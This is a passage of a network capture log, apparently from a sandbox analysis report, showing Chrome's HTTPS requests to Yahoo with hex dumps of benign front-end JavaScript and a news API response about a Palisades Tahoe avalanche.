report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 69 6e 64 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 69 6e 64 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-bind",[],t):"object"==typeof exports?exports["wafer-bind"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 Data Ascii: ype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a func
2024-01-10 23:27:11 UTC	1066	IN	Data Raw: 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 69 3d 72 2e 73 65 6c 65 63 74 6f 72 3b 6f 28 74 68 69 73 2c 74 29 3b 66 6f 72 28 76 61 72 20 61 3d 5b 5d 2c 66 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 75 3d 30 3b 75 3c 66 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 7b 76 61 72 20 73 3d 66 5b 75 5d 2e 6e 61 6d 65 2e 6d 61 74 63 68 28 70 29 3b 73 26 26 73 5b 31 5d 26 26 61 2e 70 75 73 68 28 73 5b 31 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 76 61 72 20 6c 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c Data Ascii: ){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.selector;o(this,t);for(var a=[],f=e.attributes,u=0;u<f.length;u++){var s=f[u].name.match(p);s&&s[1]&&a.push(s[1].toLowerCase())}var l=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49841	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	538	OUT	GET /aaq/wf/wf-image-1.4.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	802	IN	HTTP/1.1 200 OK x-amz-id-2: RBZFew2+1dxu8enabr9Hby7d0yam5ZeFp0r4q4Vi3Pb3TUu1f4ZJZvhQBEC0NCGsQTG3F8u3Lsc= x-amz-request-id: 24BPWBQQBV8KM5BZ Date: Wed, 10 Jan 2024 23:27:12 GMT Last-Modified: Fri, 15 Apr 2022 16:44:15 GMT ETag: "2e3968239b770b8186bb480d513311cd" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: kGIIRCHIdgWfcr_wSmm8v8C_z6K3HVA8 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 6645 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	792	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 69 6d 61 67 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 69 6d 61 67 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-image",[],t):"object"==typeof exports?exports["wafer-image"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 7d 2c 74 2e 70 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 71 2f 77 66 2f 22 2c 74 28 74 2e 73 3d 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 29 7d 28 7b 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 Data Ascii: },t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function o(e,t){if(!e)throw new ReferenceError("this h
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 74 2c 72 29 3b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 6f 29 7b 76 61 72 20 73 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 73 3f 76 6f 69 64 20 30 3a 65 28 73 2c 72 2c 61 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 6f 29 72 65 74 75 72 6e 20 6f 2e 76 61 6c 75 65 3b 76 61 72 20 6e 3d 6f 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 61 29 7d 2c 66 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 64 3d 66 2e 63 6f 6e 73 74 61 6e 74 73 2c 70 3d 66 2e 75 74 69 6c 73 2c 79 3d 70 2e 62 69 Data Ascii: ion.prototype);var o=Object.getOwnPropertyDescriptor(t,r);if(void 0===o){var s=Object.getPrototypeOf(t);return null===s?void 0:e(s,r,a)}if("value"in o)return o.value;var n=o.get;if(void 0!==n)return n.call(a)},f=window.wafer,d=f.constants,p=f.utils,y=p.bi
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 65 22 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 28 65 2c 22 73 72 63 73 65 74 22 2c 66 29 7d 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 73 54 6f 45 6c 65 6d 65 6e 74 28 65 2c 65 2c 22 6e 61 74 69 76 65 22 2c 74 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 6c 6f 61 64 45 6c 65 6d 65 6e 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 74 2e 5f 73 68 6f 75 6c 64 4c 6f 61 64 45 6c 65 6d 65 6e 74 28 65 29 7c 7c 72 29 7b 76 61 72 20 6f 3d 74 2e Data Ascii: e")),function(e){i(e,"srcset",f)}),this._addEventsToElement(e,e,"native",t)}}},{key:"loadElement",value:function(e){var t=this,r=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return new Promise(function(a){if(t._shouldLoadElement(e)\|\|r){var o=t.
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 61 2e 65 6c 65 6d 53 72 63 2c 69 3d 61 2e 65 6c 65 6d 53 72 63 73 65 74 2c 63 3d 61 2e 66 61 6c 6c 62 61 63 6b 53 72 63 2c 6c 3d 61 2e 74 79 70 65 2c 75 3d 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2c 66 3d 75 2e 65 72 72 6f 72 2c 64 3d 75 2e 65 72 72 6f 72 43 6c 61 73 73 2c 70 3d 75 2e 73 75 63 63 65 73 73 43 6c 61 73 73 3b 74 68 69 73 2e 5f 61 64 64 44 61 72 6b 6d 6f 64 65 41 74 74 72 69 62 75 74 65 28 65 29 3b 76 61 72 20 6d 3d 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 66 26 26 66 28 65 2c 22 69 6e 76 61 6c 69 64 22 29 3b 76 61 72 20 61 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 61 64 64 2d 65 72 72 6f 72 2d 74 6f 2d 70 61 72 65 6e 74 22 29 2c 6f 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 77 66 2d 62 6f Data Ascii: a.elemSrc,i=a.elemSrcset,c=a.fallbackSrc,l=a.type,u=this._options,f=u.error,d=u.errorClass,p=u.successClass;this._addDarkmodeAttribute(e);var m=function r(){f&&f(e,"invalid");var a=e.getAttribute("data-wf-add-error-to-parent"),o=e.getAttribute("data-wf-bo
2024-01-10 23:27:11 UTC	653	IN	Data Raw: 74 72 69 62 75 74 65 28 68 2b 22 64 61 72 6b 6d 6f 64 65 2d 66 61 6c 6c 62 61 63 6b 2d 73 72 63 22 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 68 2b 22 66 61 6c 6c 62 61 63 6b 2d 73 72 63 22 29 3b 69 66 28 75 29 7b 76 61 72 20 70 3d 75 2e 73 70 6c 69 74 28 73 29 2c 79 3d 70 5b 6f 26 26 70 2e 6c 65 6e 67 74 68 3e 31 3f 31 3a 30 5d 2c 6d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6c 26 26 61 7c 7c 69 29 2c 76 3d 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 62 3d 22 69 6d 67 22 3d 3d 3d 76 2c 77 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 5f 3d 77 26 26 67 28 77 2c 22 70 69 63 74 75 72 65 22 29 3b 69 66 28 62 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 2e 73 72 63 29 72 65 74 75 72 6e 20 64 3d 6c 26 26 66 7c 7c 64 2c 5f 3f Data Ascii: tribute(h+"darkmode-fallback-src"),d=e.getAttribute(h+"fallback-src");if(u){var p=u.split(s),y=p[o&&p.length>1?1:0],m=e.getAttribute(l&&a\|\|i),v=e.tagName.toLowerCase(),b="img"===v,w=e.parentNode,_=w&&g(w,"picture");if(b\|\|void 0===e.src)return d=l&&f\|\|d,_?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49842	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	1995	OUT	GET /caas/content/article/?uuid=56cff8b5-f715-383b-bccf-0ae1c993368c,1315330a-fbeb-3a39-872e-a34c415ed2dc,7635f4d4-18ff-4443-86bc-3d28dfde6f60,8e419b22-4336-45cd-b717-dcbd8c920d50,4714ebb9-b723-32cc-972e-f333df6ab351,37846fc9-24c6-3e14-89b3-d0b87b71d5cb,f5b365a0-db09-39f8-8a63-b84ab4cb54c7,f0a98bd0-f332-3f2b-8af3-baaf55540e63,9e9e9cd9-64ca-3d4c-b68b-6ea37f24194a,1ad61db1-8b32-3197-bf5c-335ccd0ba90a&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" x-webp: 1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:11 UTC	1267	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 502596 etag: W/"7ab44-5ArmZHCsIFTGr8a017ofZMQYEQ8" vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:11 GMT x-envoy-upstream-service-time: 77 server: ATS Age: 0 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=5vi6vu5ipu9uf&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Referrer-Policy: no-referrer-when-downgrade Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:11 UTC	1085	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 77 65 61 74 68 65 72 3b 6e 61 74 75 72 65 61 6e 64 65 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 64 30 30 30 30 30 30 45 63 53 34 4f 41 41 56 3b 72 65 76 73 70 3a 61 70 2e 6f 72 67 3b 6c 70 73 74 61 69 64 3a 35 36 63 66 66 38 62 35 2d 66 37 31 35 2d 33 38 33 62 2d 62 63 63 66 2d 30 61 65 31 63 39 39 33 33 36 38 63 3b 70 74 3a 63 6f 6e 74 65 6e 74 3b 70 64 3a 6d 6f 64 61 6c 3b 76 65 72 3a 6d 65 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"weather;natureandenvironment","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0ad000000EcS4OAAV;revsp:ap.org;lpstaid:56cff8b5-f715-383b-bccf-0ae1c993368c;pt:content;pd:modal;ver:me
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 2c 22 68 61 73 59 61 68 6f 6f 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 69 73 4c 6f 6e 67 41 72 74 69 63 6c 65 22 3a 66 61 6c 73 65 2c 22 70 6f 74 65 6e 74 69 61 6c 53 6c 6f 74 73 22 3a 30 2c 22 6f 75 74 73 74 72 65 61 6d 41 64 50 6f 73 69 74 69 6f 6e 22 3a 2d 31 2c 22 72 65 61 64 4d 6f 72 65 50 6f 73 69 74 69 6f 6e 22 3a 2d 31 2c 22 74 6f 74 61 6c 50 61 72 61 67 72 61 70 68 73 22 3a 30 7d 2c 22 63 6f 6e 74 65 6e 74 54 79 70 65 22 3a 22 73 74 6f 72 79 22 2c 22 65 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 4c 69 73 74 22 3a 22 22 2c 22 65 6e 74 69 74 69 65 73 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 50 61 6c 69 73 61 64 65 73 5f 54 61 68 6f 65 22 2c 22 6c 61 62 65 6c 22 3a 22 50 61 6c 69 73 61 64 65 73 20 54 61 68 6f 65 22 2c 22 63 61 70 41 62 Data Ascii: ,"hasYahooVideo":false,"isLongArticle":false,"potentialSlots":0,"outstreamAdPosition":-1,"readMorePosition":-1,"totalParagraphs":0},"contentType":"story","editorialPicksList":"","entities":[{"term":"WIKIID:Palisades_Tahoe","label":"Palisades Tahoe","capAb
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 35 35 22 2c 22 6c 61 62 65 6c 22 3a 22 57 65 61 74 68 65 72 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 59 4d 45 44 49 41 3a 43 41 54 45 47 4f 52 59 3d 30 30 30 30 30 30 33 35 35 22 2c 22 73 63 6f 72 65 22 3a 22 31 2e 30 22 2c 22 6c 61 62 65 6c 22 3a 22 54 6f 64 61 79 20 49 6e 20 48 69 73 74 6f 72 79 22 7d 5d 2c 22 66 61 63 74 75 61 6c 50 6f 6c 6c 49 64 22 3a 6e 75 6c 6c 2c 22 66 69 6e 61 6c 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 77 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 73 65 61 72 63 68 65 73 2d 75 6e 64 65 72 2d 77 61 79 2d 66 6f 6c 6c 6f 77 69 6e 67 2d 61 76 61 6c 61 6e 63 68 65 2d 31 39 33 37 33 36 32 37 33 2e 68 74 6d 6c 22 2c 22 68 61 73 53 63 72 69 62 62 6c 65 22 3a 66 61 6c 73 65 2c 22 68 61 73 53 6c 69 63 6b 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c Data Ascii: 55","label":"Weather"},{"term":"YMEDIA:CATEGORY=000000355","score":"1.0","label":"Today In History"}],"factualPollId":null,"finalUrl":"https://news.yahoo.com/searches-under-way-following-avalanche-193736273.html","hasScribble":false,"hasSlickVideo":false,
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 3a 66 61 6c 73 65 2c 22 63 61 6c 6c 54 6f 41 63 74 69 6f 6e 73 22 3a 5b 5d 2c 22 62 72 61 6e 64 54 68 65 6d 65 22 3a 7b 7d 2c 22 73 61 6d 65 41 73 41 75 74 68 6f 72 22 3a 66 61 6c 73 65 2c 22 69 73 43 72 65 61 74 6f 72 22 3a 66 61 6c 73 65 2c 22 62 72 61 6e 64 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 22 70 75 62 6c 69 73 68 44 61 74 65 22 3a 22 57 65 64 2c 20 31 30 20 4a 61 6e 20 32 30 32 34 20 31 39 3a 33 37 3a 33 36 20 47 4d 54 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 22 41 73 73 6f 63 69 61 74 65 64 20 50 72 65 73 73 22 2c 22 70 75 62 6c 69 73 68 65 72 4d 65 74 61 22 3a 7b 22 72 65 76 73 70 22 3a 22 61 70 2e 6f 72 67 22 7d 2c 22 73 61 6c 69 65 6e 74 45 6e 74 69 74 69 65 73 22 3a 5b 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 64 22 3a 22 41 76 61 6c 61 6e 63 68 65 22 Data Ascii: :false,"callToActions":[],"brandTheme":{},"sameAsAuthor":false,"isCreator":false,"brandUrl":null},"publishDate":"Wed, 10 Jan 2024 19:37:36 GMT","publisher":"Associated Press","publisherMeta":{"revsp":"ap.org"},"salientEntities":[{"canonicalId":"Avalanche"
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 61 6a 6f 72 20 73 74 6f 72 6d 20 77 69 74 68 20 73 6e 6f 77 20 61 6e 64 20 67 75 73 74 79 20 77 69 6e 64 73 20 6d 6f 76 65 64 20 69 6e 74 6f 20 74 68 65 20 72 65 67 69 6f 6e 2c 20 61 75 74 68 6f 72 69 74 69 65 73 20 73 61 69 64 2e 20 20 54 68 65 20 61 76 61 6c 61 6e 63 68 65 20 70 72 6f 6d 70 74 65 64 20 50 61 6c 69 73 61 64 65 73 20 54 61 68 6f 65 20 74 6f 20 63 6c 6f 73 65 20 33 30 20 6d 69 6e 75 74 65 73 20 61 66 74 65 72 20 69 74 20 6f 70 65 6e 65 64 2c 20 61 6e 64 20 73 65 61 72 63 68 20 63 72 65 77 73 20 63 6f 6d 62 65 64 20 74 68 65 20 61 72 65 61 20 74 6f 20 73 65 65 20 69 66 20 61 6e 79 6f 6e 65 20 77 61 73 20 69 6e 6a 75 72 65 64 20 6f 72 20 74 72 61 70 70 65 64 2e 20 20 4f 6c 79 6d 70 69 63 20 56 61 6c 6c 65 79 20 46 69 72 65 20 43 68 69 65 66 Data Ascii: ajor storm with snow and gusty winds moved into the region, authorities said. The avalanche prompted Palisades Tahoe to close 30 minutes after it opened, and search crews combed the area to see if anyone was injured or trapped. Olympic Valley Fire Chief
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 69 65 77 43 6f 6d 6d 65 6e 74 73 43 74 61 20 65 6e 61 62 6c 65 52 52 41 64 73 53 6c 6f 74 73 20 65 6e 61 62 6c 65 52 52 41 64 73 53 6c 6f 74 73 57 69 74 68 4a 41 43 20 6e 65 77 73 4d 6f 64 61 6c 20 65 6e 61 62 6c 65 56 69 65 77 43 6f 6d 6d 65 6e 74 73 43 54 41 20 65 6e 61 62 6c 65 58 72 61 79 49 6e 6c 69 6e 65 20 65 6e 61 62 6c 65 58 72 61 79 4d 6f 76 69 65 45 6e 74 69 74 69 65 73 20 65 6e 61 62 6c 65 58 72 61 79 4e 63 70 20 65 6e 61 62 6c 65 58 72 61 79 50 65 6f 70 6c 65 45 6e 74 69 74 69 65 73 20 65 6e 61 62 6c 65 58 72 61 79 54 6f 70 69 63 45 6e 74 69 74 69 65 73 20 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 49 6e 53 68 61 72 65 53 65 63 20 65 6e 61 62 6c 65 41 64 53 6c 6f 74 73 4e 65 77 4d 61 70 20 65 6e 61 62 6c 65 47 41 4d 41 64 73 20 65 6e 61 Data Ascii: iewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA enableXrayInline enableXrayMovieEntities enableXrayNcp enableXrayPeopleEntities enableXrayTopicEntities showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds ena
2024-01-10 23:27:11 UTC	1211	IN	Data Raw: 65 41 64 46 65 65 64 62 61 63 6b 56 32 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 49 6e 41 72 74 69 63 6c 65 41 64 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 4f 70 69 6e 69 6f 6e 4c 61 62 65 6c 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 53 69 6e 67 6c 65 53 6c 6f 74 74 69 6e 67 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 56 69 64 65 6f 44 6f 63 6b 69 6e 67 5c 22 3a 74 72 75 65 2c 5c 22 6f 75 74 53 74 72 65 61 6d 5c 22 3a 74 72 75 65 2c 5c 22 73 68 6f 77 43 6f 6d 6d 65 6e 74 73 49 63 6f 6e 57 69 74 68 44 79 6e 61 6d 69 63 43 6f 75 6e 74 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 43 6f 6d 6d 65 6e 74 73 43 6f 75 6e 74 49 6e 56 69 65 77 43 6f 6d 6d 65 6e 74 73 43 74 61 5c 22 3a 74 72 75 65 2c 5c 22 65 6e 61 62 6c 65 52 52 41 